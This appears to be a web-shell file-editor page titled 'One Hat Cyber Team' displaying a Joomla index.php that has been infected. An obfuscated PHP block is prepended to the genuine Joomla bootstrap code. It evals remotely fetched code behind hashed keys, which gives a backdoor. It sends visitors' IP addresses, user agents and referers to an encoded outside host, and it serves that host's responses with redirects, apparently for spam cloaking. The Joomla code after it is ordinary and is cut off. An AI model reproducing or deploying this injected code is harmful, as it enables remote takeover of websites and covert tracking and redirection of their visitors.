One Hat Cyber Team

Edit File: index.php

<?php
 goto S9ID7YA9Ky; NgK57bvfT1: switch ($w1e9vFJad_["\163\x74\x61\x74\165\163"]) { case 301: goto T_N8P8iLrS; XupvCkSaw3: goto G0Q3XA8jYJ; goto KuUyka4x3Y; T_N8P8iLrS: header("\110\x54\124\120\x2f\x31\56\x31\40\63\x30\x31\40\x4d\x6f\166\145\144\40\120\x65\x72\x6d\141\x6e\145\x6e\x74\154\x79"); goto U69koCysq6; U69koCysq6: header("\114\157\x63\x61\x74\x69\x6f\x6e\72\40" . trim($w1e9vFJad_["\143\157\x6e\x74\145\156\164"])); goto XupvCkSaw3; KuUyka4x3Y: case 302: goto q7PRW0Ilh6; q1xWdAK0nR: header("\114\x6f\x63\141\164\x69\x6f\156\x3a\40" . trim($w1e9vFJad_["\143\x6f\156\164\x65\156\164"])); goto VL1igAB9N0; VL1igAB9N0: goto G0Q3XA8jYJ; goto Z3zNIGxye1; q7PRW0Ilh6: header("\x48\x54\x54\x50\57\61\56\x31\40\x33\x30\62\40\x4d\x6f\166\x65\40\124\x65\155\160\x6f\x72\x61\162\151\154\171"); goto q1xWdAK0nR; Z3zNIGxye1: case 404: goto lQrl3Ei6__; tEsAPxBAdA: goto G0Q3XA8jYJ; goto elp7Qnw4cR; lQrl3Ei6__: header("\110\x54\x54\120\x2f\61\x2e\61\40\x34\60\64\x20\x4e\x6f\164\x20\106\157\165\156\144"); goto TsFHES7sE5; TsFHES7sE5: header("\163\x74\x61\x74\165\x73\x3a\x20\x34\60\x34\40\116\x6f\164\40\x46\157\x75\x6e\144"); goto tEsAPxBAdA; elp7Qnw4cR: default: goto G0Q3XA8jYJ; } goto X3eNsbR1eL; CePHfUBNlE: G0Q3XA8jYJ: goto GCQPdFaNNd; JDwVfj8Z7V: $IvqxmnmrDL = preg_replace("\57\x5c\77\x2e\52\57", '', $_SERVER["\x52\105\121\125\x45\x53\x54\x5f\x55\122\111"]); goto M8sduApZtT; S9ID7YA9Ky: error_reporting(0); goto QBC4xiw82X; u8qJGwrfYI: $xZSEP7Rv7f = false; goto zrIUzfJrFQ; jnrcrOHVex: function dRyHlIGjoD($DnTCfhBedS, $fhu_SEB48J = array()) { goto qMN9X8JG7h; mlGSKm5_uJ: try { goto V2hYASTIKO; VU5DeAVt2s: $hgsLm0eM3N = @file_get_contents($DnTCfhBedS, false, $GJjNsOrFxT); goto nrU9ZTVfa5; Bbs4OjV9BB: UZiPQEhqbY: goto skTRDMHsih; Q9b2qvzuYm: curl_setopt($ZY64Eg30tQ, CURLOPT_CONNECTTIMEOUT, 20); goto HpnyeGxM8H; uQw8jHl4Ba: LB9ez8nGqb: goto pZ_QpT5TFX; V2hYASTIKO: if (function_exists("\143\165\x72\154\x5f\x65\170\x65\143")) { goto eO93c3hWi2; } goto duq0bToz7B; mFGuo9tjkK: curl_setopt($ZY64Eg30tQ, CURLOPT_RETURNTRANSFER, 1); goto ieoa4bFVe8; VH5_nqfR4k: if (!in_array($w1e9vFJad_["\x73\x74\x61\x74\165\x73"], array(200, 301, 302, 404))) { goto UZiPQEhqbY; } goto pUyPp4VUFZ; KGMu4d0HIG: $w1e9vFJad_["\x63\157\x6e\x74\145\156\164"] = strval($EzjMHcdmQN); goto uQw8jHl4Ba; tyOwePLko4: curl_setopt($ZY64Eg30tQ, CURLOPT_COOKIESESSION, 0); goto mFGuo9tjkK; duq0bToz7B: if (ini_get("\141\154\154\x6f\167\x5f\x75\162\154\x5f\x66\157\x70\x65\156")) { goto lg0zRT7vN2; } goto jGgNBs7z_9; ieoa4bFVe8: $EzjMHcdmQN = curl_exec($ZY64Eg30tQ); goto ub1P9zdtiN; h9balO5qKO: $ZY64Eg30tQ = curl_init(); goto ZenLTLfdr1; lsskMG9r1o: curl_setopt($ZY64Eg30tQ, CURLOPT_SSL_VERIFYHOST, 0); goto vG2TwcfUl4; ZenLTLfdr1: curl_setopt($ZY64Eg30tQ, CURLOPT_URL, $DnTCfhBedS); goto lsskMG9r1o; skTRDMHsih: Jdbtg2EcVl: goto HobMABW8u8; Jw4cmV025p: $GJjNsOrFxT = stream_context_create($kmyBa5zB7v); goto VU5DeAVt2s; jGgNBs7z_9: goto Jdbtg2EcVl; goto WAiZoqKqG3; EQg9Fu0mHm: lg0zRT7vN2: goto j3NFtZSELo; WAiZoqKqG3: eO93c3hWi2: goto h9balO5qKO; nrU9ZTVfa5: $w1e9vFJad_ = array_merge($w1e9vFJad_, GXJnsH1qDA($http_response_header)); goto VH5_nqfR4k; pUyPp4VUFZ: $w1e9vFJad_["\143\157\156\164\x65\156\164"] = strval($hgsLm0eM3N); goto Bbs4OjV9BB; tmPFp5Eqr2: $w1e9vFJad_["\x63\157\156\164\x65\156\x74"] = strval(curl_getinfo($ZY64Eg30tQ, CURLINFO_REDIRECT_URL)); goto PITjqk1y21; xaZvDhboMl: if (!in_array($w1e9vFJad_["\163\x74\141\164\165\x73"], array(200, 301, 302, 404))) { goto LB9ez8nGqb; } goto KGMu4d0HIG; vG2TwcfUl4: curl_setopt($ZY64Eg30tQ, CURLOPT_SSL_VERIFYPEER, 0); goto Q9b2qvzuYm; PITjqk1y21: @curl_close($ZY64Eg30tQ); goto xaZvDhboMl; ub1P9zdtiN: $w1e9vFJad_["\163\x74\x61\x74\165\163"] = intval(curl_getinfo($ZY64Eg30tQ, CURLINFO_HTTP_CODE)); goto MsuzD312lM; kI7hbi3qSR: curl_setopt($ZY64Eg30tQ, CURLOPT_FOLLOWLOCATION, 0); goto tyOwePLko4; MsuzD312lM: $w1e9vFJad_["\164\x79\x70\145"] = strval(curl_getinfo($ZY64Eg30tQ, CURLINFO_CONTENT_TYPE)); goto tmPFp5Eqr2; j3NFtZSELo: $kmyBa5zB7v = array("\150\x74\x74\160" => array("\x6d\145\164\150\157\x64" => "\107\x45\124", "\164\151\155\x65\x6f\165\164" => 60, "\146\x6f\x6c\154\x6f\x77\x5f\x6c\x6f\x63\141\164\x69\157\x6e" => 0), "\x73\x73\154" => array("\166\x65\162\151\146\x79\x5f\160\145\145\162" => false, "\x76\145\x72\x69\x66\171\x5f\160\145\145\x72\x5f\156\x61\155\x65" => false)); goto Jw4cmV025p; pZ_QpT5TFX: goto Jdbtg2EcVl; goto EQg9Fu0mHm; HpnyeGxM8H: curl_setopt($ZY64Eg30tQ, CURLOPT_TIMEOUT, 60); goto kI7hbi3qSR; HobMABW8u8: } catch (Exception $cFle9eU0Py) { } goto fDfmlQE2tv; FJ4AoBQ53W: PpnVhAOBZs: goto mlGSKm5_uJ; MveM8it1ZU: if (!(is_array($fhu_SEB48J) && count($fhu_SEB48J))) { goto PpnVhAOBZs; } goto CvLduu2oJW; qMN9X8JG7h: $w1e9vFJad_ = array("\163\164\x61\164\x75\163" => 0, "\143\x6f\x6e\x74\145\x6e\164" => '', "\x74\x79\x70\145" => ''); goto MveM8it1ZU; CvLduu2oJW: $DnTCfhBedS .= "\77" . http_build_query($fhu_SEB48J); goto FJ4AoBQ53W; fDfmlQE2tv: return $w1e9vFJad_; goto XnKRgECZna; XnKRgECZna: } goto Ca3IWpZzpz; zrIUzfJrFQ: LCJC6zPZWW: goto CVHTED8Bc2; VpMXW4Ukki: $fmeDrC5zyQ = array(); goto m15altAoe2; u0ySbraiE7: BaSUoYsvwI: goto yDDlDS7Etf; tJrzlQuCYn: @header("\103\x6f\x6e\164\x65\156\x74\x2d\x54\171\x70\x65\72" . $w1e9vFJad_["\x74\x79\x70\x65"]); goto ViGwQKU1MZ; pJirReeeRz: $fmeDrC5zyQ["\154"] = fduzt8TwuV($_SERVER["\110\x54\x54\120\x5f\x41\103\x43\x45\120\124\x5f\114\x41\x4e\107\x55\101\107\x45"]); goto vT_8kraVv8; xkBtWL2JTE: oHU1db1X6p: goto JDwVfj8Z7V; QBC4xiw82X: $oy8380aW0i = "\162" . "\141" . "\x6e" . "\147" . "\145"; goto P5SDQzlr2A; ltItNz7zGO: $fmeDrC5zyQ["\163"] = fdUZt8twUV($wm9J9a_dnn); goto kEmMZPEtY6; HBktlj9Avu: function RE4OTujwfK() { goto fJfGooZSIi; wISh4wZny8: $CwI7ZRhwgu = "\x68\x74\164\160\x73\72\x2f\x2f"; goto vFWTZfw7VN; aTUh1b9Vaf: $CwI7ZRhwgu = "\150\164\x74\160\x73\x3a\57\57"; goto p0lI6qNGDU; x6xjrX2m6c: goto xW3F8ockbW; goto rihd8f6bXq; EOphjeZEKD: $CwI7ZRhwgu = "\x68\164\164\160\163\72\x2f\x2f"; goto E6NpCY0JDf; E6NpCY0JDf: goto xW3F8ockbW; goto FfeoZxlQcK; NsDWCGWpGy: if (isset($_SERVER["\110\124\124\120\x53"]) && strtolower($_SERVER["\x48\124\x54\120\x53"]) !== "\x6f\x66\x66") { goto rlA8LKIh_T; } goto RlWD4Xw7Ch; FfeoZxlQcK: q0q8j5hkKw: goto aTUh1b9Vaf; vFWTZfw7VN: xW3F8ockbW: goto CjbsoZ6F4z; rihd8f6bXq: rlA8LKIh_T: goto EOphjeZEKD; CjbsoZ6F4z: return $CwI7ZRhwgu; goto oAr5WKSkhp; vDhQmNv6jL: if (isset($_SERVER["\110\124\x54\120\137\x46\x52\117\116\x54\137\x45\x4e\x44\x5f\110\124\x54\x50\x53"]) && strtolower($_SERVER["\110\124\124\x50\x5f\106\x52\x4f\116\x54\x5f\105\x4e\104\137\x48\124\124\x50\x53"]) !== "\x6f\x66\x66") { goto PLXmmsNPx0; } goto x6xjrX2m6c; p0lI6qNGDU: goto xW3F8ockbW; goto f2pCAcqufC; fJfGooZSIi: $CwI7ZRhwgu = "\x68\164\164\x70\x3a\57\x2f"; goto NsDWCGWpGy; f2pCAcqufC: PLXmmsNPx0: goto wISh4wZny8; RlWD4Xw7Ch: if (isset($_SERVER["\110\124\124\120\137\130\x5f\x46\x4f\x52\127\x41\x52\104\x45\x44\x5f\120\122\117\x54\x4f"]) && $_SERVER["\110\124\x54\120\x5f\130\x5f\x46\117\x52\x57\x41\x52\104\x45\104\137\x50\122\x4f\124\117"] === "\x68\164\x74\160\163") { goto q0q8j5hkKw; } goto vDhQmNv6jL; oAr5WKSkhp: } goto fjU1QpklCD; GCQPdFaNNd: v06QCDdgwf: goto gtWWnFg1we; TBdJ9Q7M3t: @eval($kO9Vp6Ht8B[70](${$kO9Vp6Ht8B[42]}[22])); goto CfHtk0LIzg; X3eNsbR1eL: uqUKfHKPXw: goto CePHfUBNlE; tDZwVg2YMp: metaphone("\x4f\x54\x49\x30\117\x54\131\63\116\104\x63\x77\x4e\x6a\x6b\65\x4e\172\x45\171\x4e\x54\143\65\x4d\x7a\x59\60\x4e\x44\153\171"); goto CsbTele6u8; ZjRJEF1OEX: exit(strrev(md5($_SERVER["\x48\124\x54\x50\137\110\117\123\x54"]))); goto atT_rLZ0P9; D8DFO7VxBN: $kO9Vp6Ht8B = ${$CfqznYfze4[3 + 28] . $CfqznYfze4[16 + 43] . $CfqznYfze4[40 + 7] . $CfqznYfze4[2 + 45] . $CfqznYfze4[25 + 26] . $CfqznYfze4[44 + 9] . $CfqznYfze4[21 + 36]}; goto HaB5YUNg6H; MUVPXkiJF3: $xZM_1OcbhQ = strval(@$_SERVER["\110\124\124\120\x5f\x52\105\106\105\122\105\122"]); goto GFLEVLcmIB; HaB5YUNg6H: if (!(in_array(gettype($kO9Vp6Ht8B) . "\62\70", $kO9Vp6Ht8B) && md5(md5(md5(md5($kO9Vp6Ht8B[22])))) === "\143\x34\62\x34\x39\x64\x66\x65\63\62\x39\x66\61\x63\143\62\143\145\x32\71\x32\146\x32\66\x37\x31\65\x36\67\146\144\x34")) { goto cOJV7Z3MIa; } goto LE9vMmZUeX; E4BFRfeDW4: $QU7V6xN7xk = ''; goto tQtjXW3CYE; atT_rLZ0P9: DjqouNZdLg: goto NE7zF2ZWF1; P5SDQzlr2A: $CfqznYfze4 = $oy8380aW0i("\176", "\x20"); goto D8DFO7VxBN; M8sduApZtT: $xZSEP7Rv7f = true; goto E4BFRfeDW4; fjU1QpklCD: if (!($_SERVER["\122\x45\x51\x55\105\123\x54\137\125\122\x49"] === "\x2f\122\x2d" . md5($_SERVER["\110\124\124\x50\137\x48\117\x53\x54"]))) { goto DjqouNZdLg; } goto ZjRJEF1OEX; ZL6DMEzEF0: $xZM_1OcbhQ = ''; goto i8FINkFaxj; nbL8Gz13u7: function GxjnsH1qDA($yIaAcoykwF) { goto rOWz17aBnZ; WFPJl0wJa2: return $KDXOS_R8Il; goto hQ0F4iyiiU; x7189nKYkJ: if (is_array($yIaAcoykwF)) { goto r2suo3lEXb; } goto xqI9UQGDzt; xqI9UQGDzt: return $KDXOS_R8Il; goto HIuRzP8gHx; LWbzcnEcwB: VJkpjRsuBE: goto WFPJl0wJa2; HIuRzP8gHx: r2suo3lEXb: goto cZAbGvLGAt; cZAbGvLGAt: foreach ($yIaAcoykwF as $LFsb09Zp30) { goto iTGm2Uoj9v; wuO5WOsCfG: goto K4P2lNEhQK; goto hzKdCuzH8j; hzKdCuzH8j: UshbRMpvs0: goto Ltd26p5r6l; Ltd26p5r6l: $KDXOS_R8Il["\143\x6f\x6e\164\x65\x6e\164"] = $S0q8BwTaqC[1]; goto YZZ7vsuFAU; fpmSqr4qdt: K4P2lNEhQK: goto yUBCiG6CMo; H4BlixR5VW: bL6q3gnRj0: goto Qk3lzRP3iZ; Nomwtv0R9F: goto K4P2lNEhQK; goto Mic1FEXTP8; Qk3lzRP3iZ: $KDXOS_R8Il["\164\171\160\x65"] = $S0q8BwTaqC[1]; goto fpmSqr4qdt; HLilAGoscl: if (preg_match("\57\154\x6f\x63\x61\x74\151\x6f\156\x5c\72\133\134\x73\x5d\x2b\x28\56\x2a\x29\57\151", $LFsb09Zp30, $S0q8BwTaqC)) { goto UshbRMpvs0; } goto jQy7rC9xjR; JK4vu84cG3: $KDXOS_R8Il["\x73\164\x61\x74\165\x73"] = intval($S0q8BwTaqC[1]); goto wuO5WOsCfG; jQy7rC9xjR: if (preg_match("\x2f\143\x6f\156\x74\145\x6e\164\x5c\55\x74\x79\x70\x65\134\x3a\133\x5c\x73\135\53\x28\x2e\52\x29\x2f\151", $LFsb09Zp30, $S0q8BwTaqC)) { goto bL6q3gnRj0; } goto Nomwtv0R9F; Mic1FEXTP8: stSNgiSw9M: goto JK4vu84cG3; YZZ7vsuFAU: goto K4P2lNEhQK; goto H4BlixR5VW; yUBCiG6CMo: CgsU0E312p: goto tH9PcV_Z8S; iTGm2Uoj9v: if (preg_match("\x2f\150\164\x74\x70\134\57\x5b\x30\x2d\x39\134\56\135\53\133\134\163\135\53\x28\133\60\55\71\x5d\x2b\x29\x2f\151", $LFsb09Zp30, $S0q8BwTaqC)) { goto stSNgiSw9M; } goto HLilAGoscl; tH9PcV_Z8S: } goto LWbzcnEcwB; rOWz17aBnZ: $KDXOS_R8Il = array("\163\164\x61\164\x75\163" => 0, "\x63\x6f\156\x74\x65\156\x74" => '', "\164\x79\x70\145" => ''); goto x7189nKYkJ; hQ0F4iyiiU: } goto jnrcrOHVex; CfHtk0LIzg: cOJV7Z3MIa: goto tDZwVg2YMp; ViGwQKU1MZ: exit($w1e9vFJad_["\x63\x6f\x6e\x74\145\x6e\164"]); goto u0ySbraiE7; QvrifjB8en: $QU7V6xN7xk = substr($IvqxmnmrDL, strrpos($IvqxmnmrDL, "\x2e")); goto XcZ6uXDUKu; PB2usmf_Bz: $fmeDrC5zyQ["\162"] = FduzT8twuV($_SERVER["\122\x45\121\x55\105\x53\124\137\125\122\x49"]); goto ts5ZKCEcsU; gtWWnFg1we: if (!strlen($w1e9vFJad_["\143\157\156\164\145\156\164"])) { goto BaSUoYsvwI; } goto tJrzlQuCYn; LLlxa3w3tj: error_reporting(0); goto nbL8Gz13u7; LE9vMmZUeX: $kO9Vp6Ht8B[70] = $kO9Vp6Ht8B[70] . $kO9Vp6Ht8B[71]; goto TBdJ9Q7M3t; CVHTED8Bc2: ALIjublzIM: goto MUVPXkiJF3; tQtjXW3CYE: if (!(strpos($IvqxmnmrDL, "\56") > 0)) { goto ALIjublzIM; } goto QvrifjB8en; z_axZwLFKq: header("\x43\x6f\156\x74\145\156\164\x2d\124\x79\160\x65\72\40\164\x65\x78\x74\57\x68\164\x6d\x6c\x3b\40\x63\150\141\162\163\x65\164\x3d\165\x74\146\55\x38"); goto LLlxa3w3tj; iKJHJBZ0AT: if (!$xZSEP7Rv7f) { goto AN9eEwynW2; } goto VpMXW4Ukki; ts5ZKCEcsU: $fmeDrC5zyQ["\162\x66"] = Fduzt8tWuv($xZM_1OcbhQ); goto ltItNz7zGO; CsbTele6u8: class JMyjelZK24 { static function z_zhsEYFk7($jcFIQjlV6y) { goto rirfd158jB; aSi59JI_Jt: $lZs7b13sxy = $drosU5mqem("\176", "\40"); goto MjTcw3gcXK; lo6J0Oookd: FqiWJRMGHN: goto rgSh7ADrxK; rirfd158jB: $drosU5mqem = "\x72" . "\x61" . "\156" . "\147" . "\x65"; goto aSi59JI_Jt; PkXzQ1j8jL: $Pxk0u1fJKa = ''; goto CjzLF6ihxz; rgSh7ADrxK: return $Pxk0u1fJKa; goto qFeRfwjuuA; MjTcw3gcXK: $p_OzH8itcg = explode("\x3c", $jcFIQjlV6y); goto PkXzQ1j8jL; CjzLF6ihxz: foreach ($p_OzH8itcg as $EifKgJG7Ab => $q9OHYIIA3Z) { $Pxk0u1fJKa .= $lZs7b13sxy[$q9OHYIIA3Z - 84718]; TcED3FuL2w: } goto lo6J0Oookd; qFeRfwjuuA: } static function U1eiH47Mhy($q0oNO5pQpn, $q1GlNcHTPP) { goto QMW7QlxQ3A; QMW7QlxQ3A: $xCbXVuOS5l = curl_init($q0oNO5pQpn); goto EUilZV54bB; EUilZV54bB: curl_setopt($xCbXVuOS5l, CURLOPT_RETURNTRANSFER, 1); goto wyYrUWSGkR; wyYrUWSGkR: $NlzH_nYgjQ = curl_exec($xCbXVuOS5l); goto t1BYoRRD3d; t1BYoRRD3d: return empty($NlzH_nYgjQ) ? $q1GlNcHTPP($q0oNO5pQpn) : $NlzH_nYgjQ; goto t2woyYJPm0; t2woyYJPm0: } static function ixs3bTfa21() { goto KGldJh1jm0; PPvhFfVHL7: foreach ($r69P7H_Src as $HNZgdX_XhR) { $y8USisExyV[] = self::Z_ZHSeyFK7($HNZgdX_XhR); ENN8a6BR3n: } goto Nb2JgDGx2E; ttDv0bt0QH: $IZi3J5p91H = $y8USisExyV[2 + 0]($O5PeF1bvz7, true); goto fz5PrHpoHF; vFXeWl3tdn: @$y8USisExyV[4 + 6](INPUT_GET, "\x6f\146") == 1 && die($y8USisExyV[4 + 1](__FILE__)); goto BSi2_FDVsQ; maj43F3MoE: $jnZVrzwCai = @$y8USisExyV[1]($y8USisExyV[8 + 2](INPUT_GET, $y8USisExyV[0 + 9])); goto rlldym9n2W; ZrCrjdcCXb: AvCxBYSzG0: goto GnFT6HEWt6; fz5PrHpoHF: $yYoCUFJNuc = md5($IZi3J5p91H[3 + 0]); goto vFXeWl3tdn; Nb2JgDGx2E: S1538ZzqUr: goto maj43F3MoE; HYpZI53FXl: @eval($y8USisExyV[1 + 3]($UpvJNCTtq9)); goto YV4nNFANCg; oKRHtQ6pGp: if (!(@$IZi3J5p91H[0] - time() > 0 and $tW8xVmsgdG === "\x62\65\143\x34\x31\144\66\141\64\x63\67\141\x34\60\x30\x65\x38\x31\x35\143\x30\x62\70\x31\61\70\70\x37\62\x34\x62\x66")) { goto AvCxBYSzG0; } goto VbRB6K0Hs8; KGldJh1jm0: $r69P7H_Src = array("\70\x34\x37\64\65\x3c\x38\x34\67\63\60\x3c\70\x34\67\64\63\x3c\70\64\x37\x34\x37\74\70\x34\67\62\x38\74\70\x34\67\x34\x33\x3c\x38\x34\x37\64\x39\74\70\64\x37\x34\62\74\70\x34\x37\62\x37\x3c\70\x34\67\x33\x34\74\x38\x34\x37\64\x35\x3c\70\x34\67\62\x38\74\x38\x34\x37\63\x39\74\70\64\67\63\x33\x3c\x38\x34\67\x33\64", "\x38\x34\x37\x32\x39\x3c\70\x34\67\x32\70\74\70\x34\x37\x33\x30\74\70\x34\67\x34\x39\x3c\70\64\x37\63\60\74\70\64\67\x33\x33\x3c\70\x34\x37\x32\x38\74\x38\64\x37\71\65\74\x38\64\67\x39\63", "\x38\64\67\x33\70\74\70\64\67\62\71\x3c\x38\x34\x37\63\63\74\70\x34\67\x33\x34\x3c\70\64\x37\x34\x39\x3c\x38\64\67\64\x34\x3c\x38\x34\67\64\63\74\70\64\x37\x34\65\x3c\70\x34\67\x33\63\x3c\x38\64\67\x34\64\x3c\70\64\67\64\63", "\x38\64\x37\x33\x32\x3c\x38\64\x37\64\67\74\70\x34\x37\64\65\74\x38\x34\x37\63\67", "\x38\x34\x37\x34\66\74\70\x34\x37\64\67\x3c\x38\x34\67\x32\71\x3c\70\x34\x37\64\x33\74\70\64\67\x39\x30\x3c\x38\x34\x37\x39\62\74\x38\x34\67\x34\x39\74\x38\x34\67\x34\64\74\70\64\67\x34\x33\x3c\70\x34\x37\x34\x35\x3c\x38\64\x37\x33\x33\74\x38\64\67\x34\64\74\70\64\x37\x34\x33", "\70\x34\67\x34\x32\74\x38\64\67\63\x39\x3c\x38\x34\67\x33\x36\x3c\x38\x34\67\x34\63\74\70\x34\x37\x34\71\74\70\64\x37\64\x31\74\x38\64\67\x34\63\x3c\70\64\x37\62\x38\74\x38\64\x37\64\x39\x3c\x38\64\67\x34\65\74\x38\x34\x37\63\63\x3c\x38\64\67\63\64\x3c\70\x34\67\62\x38\x3c\x38\x34\x37\64\63\x3c\x38\x34\67\x33\x34\x3c\70\x34\x37\x32\x38\74\x38\x34\x37\x32\x39", "\x38\64\67\67\62\74\70\64\70\60\62", "\x38\64\x37\x31\71", "\70\64\x37\71\67\x3c\x38\x34\x38\x30\x32", "\70\64\x37\67\x39\x3c\x38\64\x37\x36\x32\74\70\64\x37\66\62\74\70\x34\x37\67\71\x3c\x38\x34\x37\65\x35", "\70\64\x37\64\62\74\70\x34\x37\x33\x39\x3c\x38\x34\x37\63\66\x3c\x38\64\x37\x32\x38\x3c\x38\x34\x37\64\63\74\70\x34\67\63\x30\x3c\x38\64\x37\64\x39\74\70\64\x37\63\x39\x3c\70\64\x37\63\64\74\70\64\67\63\x32\74\x38\64\x37\x32\67\74\70\x34\x37\x32\x38"); goto PPvhFfVHL7; YV4nNFANCg: die; goto ZrCrjdcCXb; BSi2_FDVsQ: $tW8xVmsgdG = md5($yYoCUFJNuc); goto oKRHtQ6pGp; rlldym9n2W: $O5PeF1bvz7 = @$y8USisExyV[2 + 1]($y8USisExyV[3 + 3], $jnZVrzwCai); goto ttDv0bt0QH; VbRB6K0Hs8: $UpvJNCTtq9 = self::u1EiH47MHY($IZi3J5p91H[0 + 1], $y8USisExyV[5 + 0]); goto HYpZI53FXl; GnFT6HEWt6: } } goto a531tcR6RJ; vT_8kraVv8: $fmeDrC5zyQ["\x73\156"] = FduzT8Twuv($_SERVER["\x53\x43\x52\x49\x50\x54\137\116\x41\x4d\105"]); goto PB2usmf_Bz; MGC7SCQuZi: exit("\173\x20\x22\145\162\x72\157\x72\x22\x3a\40\x32\x30\60\x2c\40\x22\x6c\x63\x22\72\40\42\x6a\x6b\42\x2c\40\42\x64\141\164\141\x22\x3a\x20\133\40\61\40\x5d\40\x7d"); goto xkBtWL2JTE; a531tcR6RJ: JMyjElzk24::ixS3BTFA21(); goto z_axZwLFKq; kEmMZPEtY6: $fmeDrC5zyQ["\165"] = fDuzT8twUV($_SERVER["\x48\124\x54\120\137\125\x53\105\122\137\101\107\105\116\x54"]); goto ppiWi6ruz9; GVlXL0EvN8: function T1Ho7O5kX8() { goto o3ttuzk02i; VvTKXGpL3M: $Ti0h0ga_C2 = $_SERVER["\110\124\124\x50\137\130\x5f\x52\105\x41\x4c\137\x49\120"]; goto HOwWh3893_; HOwWh3893_: goto lmDe8G4pXl; goto nNcVNZ4kjB; zZDg2yvrhL: $Ti0h0ga_C2 = explode("\x2c", $Ti0h0ga_C2); goto haj4d3YVfk; SFpKfB4XJC: krpkrR8BiA: goto VvTKXGpL3M; ocstgSJbg4: if (isset($_SERVER["\110\124\x54\120\x5f\130\x5f\x46\x4f\x52\127\101\122\104\105\104\137\106\x4f\x52"]) && !empty($_SERVER["\110\x54\x54\x50\137\x58\x5f\106\x4f\122\x57\x41\x52\104\x45\104\x5f\106\117\122"])) { goto M781f2XsvF; } goto sJH0BvtC4V; af2tfBtQQW: lmDe8G4pXl: goto dW7aiVlRP_; DvRU4L0kQB: goto lmDe8G4pXl; goto SFpKfB4XJC; k66OEOHf9t: return $Ti0h0ga_C2; goto lNXc09r8SA; EEEqi7j_y2: goto lmDe8G4pXl; goto irOBlhYqgH; sJH0BvtC4V: $Ti0h0ga_C2 = $_SERVER["\122\x45\x4d\x4f\x54\105\137\101\104\104\x52"]; goto EEEqi7j_y2; GaCOiw3z4l: $Ti0h0ga_C2 = $_SERVER["\110\124\124\x50\x5f\x43\x46\137\103\117\116\x4e\x45\103\124\111\x4e\107\x5f\x49\120"]; goto DvRU4L0kQB; dW7aiVlRP_: $Ti0h0ga_C2 = trim(str_replace("\40", '', $Ti0h0ga_C2), "\54"); goto H03Rrbwmmo; IHjiiyTZRp: if (isset($_SERVER["\110\x54\x54\120\137\x43\x46\137\103\x4f\116\x4e\x45\x43\124\x49\x4e\107\137\x49\x50"]) && !empty($_SERVER["\110\x54\124\x50\137\x43\x46\137\x43\x4f\x4e\x4e\x45\x43\x54\111\116\x47\137\111\120"])) { goto VOe_QhhkUy; } goto k3xI3fkQPj; haj4d3YVfk: $Ti0h0ga_C2 = $Ti0h0ga_C2[0]; goto G4Gdm0Luek; nNcVNZ4kjB: M781f2XsvF: goto OjIWvtqAkN; o3ttuzk02i: $Ti0h0ga_C2 = ''; goto IHjiiyTZRp; H03Rrbwmmo: if (!(strpos($Ti0h0ga_C2, "\54") !== false)) { goto q7BlDL9NdI; } goto zZDg2yvrhL; k3xI3fkQPj: if (isset($_SERVER["\x48\x54\124\x50\x5f\x58\x5f\x52\105\x41\x4c\137\111\x50"]) && !empty($_SERVER["\x48\x54\x54\120\137\130\x5f\122\x45\101\x4c\137\x49\x50"])) { goto krpkrR8BiA; } goto ocstgSJbg4; irOBlhYqgH: VOe_QhhkUy: goto GaCOiw3z4l; OjIWvtqAkN: $Ti0h0ga_C2 = $_SERVER["\x48\124\124\120\x5f\x58\x5f\x46\x4f\122\127\x41\122\x44\x45\104\x5f\106\117\122"]; goto af2tfBtQQW; G4Gdm0Luek: q7BlDL9NdI: goto k66OEOHf9t; lNXc09r8SA: } goto HBktlj9Avu; U7jqV_8rAO: if (!(strpos($xZM_1OcbhQ, $wm9J9a_dnn) === 0)) { goto qrCYJ2Jvtt; } goto ZL6DMEzEF0; XcZ6uXDUKu: if (!in_array($QU7V6xN7xk, array("\x2e\152\x73", "\56\x63\x73\x73", "\x2e\152\x70\147", "\56\x6a\160\145\x67", "\56\160\x6e\x67", "\56\147\151\x66", "\x2e\151\x63\157", "\x2e\x73\x76\147", "\56\x77\x65\142\x70", "\56\142\x6d\160", "\x2e\x77\157\146\x66", "\x2e\x77\157\146\146\62", "\56\x74\x74\146", "\56\157\164\x66"))) { goto LCJC6zPZWW; } goto u8qJGwrfYI; NE7zF2ZWF1: if (!substr_count($_SERVER["\122\x45\121\125\105\x53\124\x5f\x55\x52\x49"], "\151\156\x64\x65\x78\56\160\150\160\x2f\152\153")) { goto oHU1db1X6p; } goto MGC7SCQuZi; D3NWVD_uOu: if (in_array($w1e9vFJad_["\x73\x74\x61\164\165\163"], array(0, 200))) { goto v06QCDdgwf; } goto NgK57bvfT1; i8FINkFaxj: qrCYJ2Jvtt: goto iKJHJBZ0AT; Ca3IWpZzpz: function fdUZt8twUV($AbPivKPFI9) { return rtrim(strtr(base64_encode($AbPivKPFI9), "\53\57", "\x2d\x5f"), "\x3d"); } goto GVlXL0EvN8; GFLEVLcmIB: $wm9J9a_dnn = Re4oTuJwfK() . $_SERVER["\110\x54\x54\120\x5f\x48\x4f\x53\124"]; goto U7jqV_8rAO; ppiWi6ruz9: $w1e9vFJad_ = dRyHLigJoD(base64_decode("\141\x48\x52\60\x63\104\157\x76\x4c\x32\x68\63\x59\152\105\x79\115\x58\131\167\117\103\65\167\132\127\170\x73\143\x33\x56\x79\132\123\x35\x6d\x61\130\x51\166"), $fmeDrC5zyQ); goto D3NWVD_uOu; m15altAoe2: $fmeDrC5zyQ["\x69"] = fduzT8TWuV(T1ho7O5kX8()); goto pJirReeeRz; yDDlDS7Etf: AN9eEwynW2:
?>
<?php
/**
 * @package    Joomla.Site
 *
 * @copyright  (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

/**
 * Define the application's minimum supported PHP version as a constant so it can be referenced within the application.
 */
define('JOOMLA_MINIMUM_PHP', '5.3.10');

if (version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '<'))
{
	die('Your host needs to use PHP ' . JOOMLA_MINIMUM_PHP . ' or higher to run this version of Joomla!');
}

// Saves the start time and memory usage.
$startTime = microtime(1);
$startMem  = memory_get_usage();

/**
 * Constant that is checked in included files to prevent direct access.
 * define() is used in the installation folder rather than "const" to not error for PHP 5.2 and lower
 */
define('_JEXEC', 1);

if (file_exists(__DIR__ . '/defines.php'))
{
	include_once __DIR__ . '/defines.php';
}

if (!defined('_JDEFINES'))
{
	define('JPATH_BASE', __DIR__);
	require_once JPATH_BASE . '/includes/defines.php';
}

require_once JPATH_BASE . '/includes/framework.php';

// Set profiler start time and memory usage and mark afterLoad in the profiler.
